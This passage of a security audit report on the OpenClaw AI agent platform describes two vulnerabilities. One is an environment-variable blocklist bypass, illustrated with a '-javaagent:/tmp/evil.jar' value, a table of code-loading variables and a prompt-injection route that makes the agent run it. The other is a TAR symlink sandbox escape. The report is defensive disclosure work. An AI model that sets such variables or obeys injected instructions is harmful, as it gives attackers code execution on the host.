2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8030a7e3e22e9d502236">The exec tool schema (<code class="notion-inline-code">src/agents/bash-tools.exec-runtime.ts:98-101</code>) exposes an <code class="notion-inline-code">env</code> parameter to the AI agent:</div><div class="notion-text notion-block-3230f0c5b87c8075a28ad657f999b99a">When an agent calls the exec tool with <code class="notion-inline-code">env: { &quot;JAVA_TOOL_OPTIONS&quot;: &quot;-javaagent:/tmp/evil.jar&quot; }</code>, the value flows through two sanitization stages. Neither blocks it.</div><div class="notion-text notion-block-3230f0c5b87c80758d68c2120cbf2cd0"><b>Stage 1 – </b><code class="notion-inline-code"><b>validateHostEnv()</b></code> (<code class="notion-inline-code">src/agents/bash-tools.exec-runtime.ts:57-76</code>):</div><div class="notion-text notion-block-3230f0c5b87c80af8adbc848e2347445"><code class="notion-inline-code">isDangerousHostEnvVarName()</code> (<code class="notion-inline-code">src/infra/host-env-security.ts:59-69</code>) checks against <code class="notion-inline-code">blockedKeys</code> and <code class="notion-inline-code">blockedPrefixes</code> from <code class="notion-inline-code">host-env-security-policy.json</code>. <code class="notion-inline-code">JAVA_TOOL_OPTIONS</code> is in neither list.</div><div class="notion-text notion-block-3230f0c5b87c80aab448f258891ed821"><b>Stage 2 – </b><code class="notion-inline-code"><b>sanitizeHostExecEnv()</b></code> (<code class="notion-inline-code">src/infra/host-env-security.ts:108-126</code>):</div><div class="notion-text notion-block-3230f0c5b87c80e29e02d36339620f57"><code class="notion-inline-code">isDangerousHostEnvOverrideVarName()</code> checks <code class="notion-inline-code">blockedOverrideKeys</code> and <code class="notion-inline-code">blockedOverridePrefixes</code>. <code class="notion-inline-code">JAVA_TOOL_OPTIONS</code> is not in those lists either. The variable passes through both checks and enters the child process environment.</div><div class="notion-text notion-block-3230f0c5b87c80359037c18ced848d36"><b>Full call chain:</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8006a0a9f84b57eae324" data-id="3230f0c5b87c8006a0a9f84b57eae324"><span><div id="3230f0c5b87c8006a0a9f84b57eae324" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8006a0a9f84b57eae324" title="Missing Variables"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Missing Variables</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808c9a78ca68c44cc4df">The following environment variables allow arbitrary code loading in their respective runtimes but are absent from all four blocklists in <code class="notion-inline-code">host-env-security-policy.json</code>:</div><table class="notion-simple-table notion-block-3230f0c5b87c802ea911d87a961b2131"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c803e96e0d61ab29c1d60"><td class="" style="width:120px"><div class="notion-simple-table-cell">Variable</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Runtime</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Effect</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8068867cf6747a80a4e7"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">JAVA_TOOL_OPTIONS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">JVM</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Loads arbitrary <code class="notion-inline-code">-javaagent:</code> JAR at JVM startup</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80f4b988f6efcb9d8712"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">JDK_JAVA_OPTIONS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">JVM (JDK 9+)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Same as JAVA_TOOL_OPTIONS for modern JDK</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8010aafeee241b15bc98"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">_JAVA_OPTIONS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">JVM (Oracle/OpenJDK)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Same, older variant</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8006b99edce48a1005e7"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">MAVEN_OPTS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Maven</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Passes JVM flags to Maven, including <code class="notion-inline-code">-javaagent:</code></div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80b58c6ffb0a2192b518"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">GRADLE_OPTS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Gradle</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Passes JVM flags to Gradle</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80ea9ed8d4f242564fff"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">DOTNET_STARTUP_HOOKS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.NET CLR</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Loads arbitrary .NET assembly at CLR startup</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c800fb700dbb09da1688f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">CORECLR_ENABLE_PROFILING</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.NET CLR</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Enables CLR profiling</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80db89bae1bd3ddad50e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">CORECLR_PROFILER_PATH</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.NET CLR</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Loads arbitrary native profiler .so/.dll</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8011b42ccb8683ecec8b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANSIBLE_FILTER_PLUGINS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Ansible</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Loads arbitrary Python plugin modules</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c800c8f55f1aeaf67a891"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANSIBLE_CALLBACK_PLUGINS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Ansible</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Loads arbitrary Python callback modules</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c805c94e5e4d11e54bb0f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">RUSTFLAGS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">rustc</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Passes arbitrary flags including <code class="notion-inline-code">-C link-arg=</code> for linker injection</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800fbd42d9824899fb1a" data-id="3230f0c5b87c800fbd42d9824899fb1a"><span><div id="3230f0c5b87c800fbd42d9824899fb1a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800fbd42d9824899fb1a" title="Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reproduction Steps</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fab14ad8590d9ea672" data-id="3230f0c5b87c80fab14ad8590d9ea672"><span><div id="3230f0c5b87c80fab14ad8590d9ea672" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fab14ad8590d9ea672" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a59bfcd5c9c7334a76"><li>OpenClaw instance with host execution enabled (exec host = gateway or node)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b8896ce9742dec85e0"><li>Java, .NET, or any of the above runtimes installed on the host</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804bb2c0c74f7f12b1ab" data-id="3230f0c5b87c804bb2c0c74f7f12b1ab"><span><div id="3230f0c5b87c804bb2c0c74f7f12b1ab" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804bb2c0c74f7f12b1ab" title="Step 1: Verify blocklist contents"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 1: Verify blocklist contents</span></span></h4><div class="notion-text notion-block-3230f0c5b87c804da733fcbdbe09a94f"><b>复现截图 - 已拦截变量确认：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80f2afc5d18f7e5757c6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa001_step1_blocked.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80f2-afc5-d18f7e5757c6" alt="Step 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80da881ef475b7878c87">Step 1</div><div class="notion-text notion-block-3230f0c5b87c8053b395d0ccd012af99">Read <code class="notion-inline-code">src/infra/host-env-security-policy.json</code> and confirm none of the 11 variables above appear in <code class="notion-inline-code">blockedKeys</code>, <code class="notion-inline-code">blockedOverrideKeys</code>, <code class="notion-inline-code">blockedPrefixes</code>, or <code class="notion-inline-code">blockedOverridePrefixes</code>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8032b486fdb119ef280e" data-id="3230f0c5b87c8032b486fdb119ef280e"><span><div id="3230f0c5b87c8032b486fdb119ef280e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8032b486fdb119ef280e" title="Step 2: Programmatic verification against sanitization functions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 2: Programmatic verification against sanitization functions</span></span></h4><div class="notion-text notion-block-3230f0c5b87c804686b8dde5d10ee537"><b>复现截图 - 绕过过滤器的变量：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c801bb033cd64a0fb8b01"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa001_step2_bypass.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-801b-b033-cd64a0fb8b01" alt="Step 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80b9a1a4fa87dde9b327">Step 2</div><div class="notion-text notion-block-3230f0c5b87c802c9d95f76f44b627eb">Expected output: all 11 variables print “BYPASSES BLOCKLIST”.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f7ae71f4c2d89ef834" data-id="3230f0c5b87c80f7ae71f4c2d89ef834"><span><div id="3230f0c5b87c80f7ae71f4c2d89ef834" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f7ae71f4c2d89ef834" title="Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10)</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d09d12fba1151f65b8"><b>3a. Create a malicious Java agent:</b></div><div class="notion-text notion-block-3230f0c5b87c805da2d7f6fa4d47091b"><b>3b. Create a benign target application:</b></div><div class="notion-text notion-block-3230f0c5b87c804b83d2e361aa5572ba"><b>3c. Simulate the full OpenClaw filter chain and spawn java:</b></div><div class="notion-text notion-block-3230f0c5b87c80b090b4f0caaf5c0586"><b>3d. Observed output (actual run, 2026-03-10):</b></div><div class="notion-text notion-block-3230f0c5b87c801bb5aff9929733eadd"><b>复现截图 - 子进程环境验证：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80ae8f11ea3514caff61"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa001_step3_subprocess.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80ae-8f11-ea3514caff61" alt="Step 3" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c801eb932d11de39f698e">Step 3</div><div class="notion-text notion-block-3230f0c5b87c809382d6d65da1e0f879"><b>3e. Proof file content (PWNED.txt):</b></div><div class="notion-text notion-block-3230f0c5b87c80e8836ff80ef089a604"><b>复现截图 - JVM 代码执行证明：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80ecbea5f9b2282966f1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa001_step4_jvm_exec.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80ec-bea5-f9b2282966f1" alt="Step 4" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80d2a1b9e972c5cd4c09">Step 4</div><div class="notion-text notion-block-3230f0c5b87c80bcababd16063b07040">The JVM loaded <code class="notion-inline-code">evil-agent.jar</code> via <code class="notion-inline-code">JAVA_TOOL_OPTIONS</code> and executed <code class="notion-inline-code">EvilAgent.premain()</code> before <code class="notion-inline-code">Innocent.main()</code>. The attacker’s code wrote an arbitrary file to disk, confirming full code execution.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808b995df841eb6310ca" data-id="3230f0c5b87c808b995df841eb6310ca"><span><div id="3230f0c5b87c808b995df841eb6310ca" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808b995df841eb6310ca" title="Step 4: Agent-side trigger"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 4: Agent-side trigger</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8008a04fcc945ef28c11">An attacker embeds a prompt injection payload in a repository README, fetched web page, or issue body that causes the OpenClaw agent to call:</div><div class="notion-text notion-block-3230f0c5b87c80cda9c4ff6f2fe8c910">The exec tool schema accepts this. The filter chain passes <code class="notion-inline-code">JAVA_TOOL_OPTIONS</code> through. The JVM loads the agent JAR before compilation starts.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cda6a0c5404a34cf80" data-id="3230f0c5b87c80cda6a0c5404a34cf80"><span><div id="3230f0c5b87c80cda6a0c5404a34cf80" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cda6a0c5404a34cf80" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800188a4e7062074dbd7">An attacker who can influence agent tool calls (via prompt injection in user-provided content, fetched URLs, or repository files) can achieve arbitrary code execution on the host machine whenever the spawned command involves JVM, .NET CLR, Ansible, Maven, Gradle, or Rust toolchains. This bypasses the existing env variable security boundary without triggering any validation error.</div><div class="notion-text notion-block-3230f0c5b87c8097aceac70ecdd6609e">This was verified end-to-end on Windows 10 with JDK 25.0.2: the attacker’s <code class="notion-inline-code">premain()</code> method executed before the target application’s <code class="notion-inline-code">main()</code>, and successfully wrote an arbitrary file to disk.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807cbbf5d72392ef6033" data-id="3230f0c5b87c807cbbf5d72392ef6033"><span><div id="3230f0c5b87c807cbbf5d72392ef6033" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807cbbf5d72392ef6033" title="Suggested Fix"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Suggested Fix</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8069a8ceea79ffd5b3ce">Add the missing variables to <code class="notion-inline-code">blockedKeys</code> in <code class="notion-inline-code">src/infra/host-env-security-policy.json</code>:</div><div class="notion-text notion-block-3230f0c5b87c8064be5bd8a6ff4de941">Consider also adding prefix-based blocks for <code class="notion-inline-code">ANSIBLE_</code> and <code class="notion-inline-code">CORECLR_</code> to catch future variants.</div><hr class="notion-hr notion-block-3230f0c5b87c802fa79ed90fa6ab8891"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80d88b40d1fb563b7814" data-id="3230f0c5b87c80d88b40d1fb563b7814"><span><div id="3230f0c5b87c80d88b40d1fb563b7814" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d88b40d1fb563b7814" title="GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80c5ac27cf5d8b398308"><div><b>严重级别</b>: High  |  <b>类型</b>: 沙箱逃逸  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808c897ce50139f9f217" data-id="3230f0c5b87c808c897ce50139f9f217"><span><div id="3230f0c5b87c808c897ce50139f9f217" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808c897ce50139f9f217" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e7998ccdf4aea28cd8">The TAR extraction path in <code class="notion-inline-code">src/infra/archive.ts</code> does not validate whether the destination directory (<code class="notion-inline-code">destDir</code>) is a symbolic link before extracting files into it. The ZIP extraction path correctly calls <code class="notion-inline-code">assertDestinationDirReady()</code> which rejects symlinked destination directories, but the TAR path skips this check entirely. An attacker who can place a symlink at the expected extraction directory can redirect TAR extraction output to an arbitrary location on the filesystem, escaping sandbox boundaries.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8041a8efc2404caa4ab7" data-id="3230f0c5b87c8041a8efc2404caa4ab7"><span><div id="3230f0c5b87c8041a8efc2404caa4ab7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8041a8efc2404caa4ab7" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80fb8919e691a464ad83">High (CVSS 7.5) – Directory traversal / sandbox escape via symlink at extraction destination.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8076a149efbccfc70ca9" data-id="3230f0c5b87c8076a149efbccfc70ca9"><span><div id="3230f0c5b87c8076a149efbccfc70ca9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8076a149efbccfc70ca9" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a4b6dbce304b77dddb"><li><code class="notion-inline-code">src/infra/archive.ts</code> – <code class="notion-inline-code">extractArchive()</code> (TAR path, line 627-678) vs <code class="notion-inline-code">extractZip()</code> (line 507-580)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b6950ce66be758d6ba" data-id="3230f0c5b87c80b6950ce66be758d6ba"><span><div id="3230f0c5b87c80b6950ce66be758d6ba" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b6950ce66be758d6ba" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><div class="notion-text notion-block-3230f0c5b87c805ebd26c727044f8232">Current <code class="notion-inline-code">main</code> branch as of 2026-03-10.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8064932dcfa251b9fbed" data-id="3230f0c5b87c8064932dcfa251b9fbed"><span><div id="3230f0c5b87c8064932dcfa251b9fbed" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8064932dcfa251b9fbed" title="Root Cause"><svg 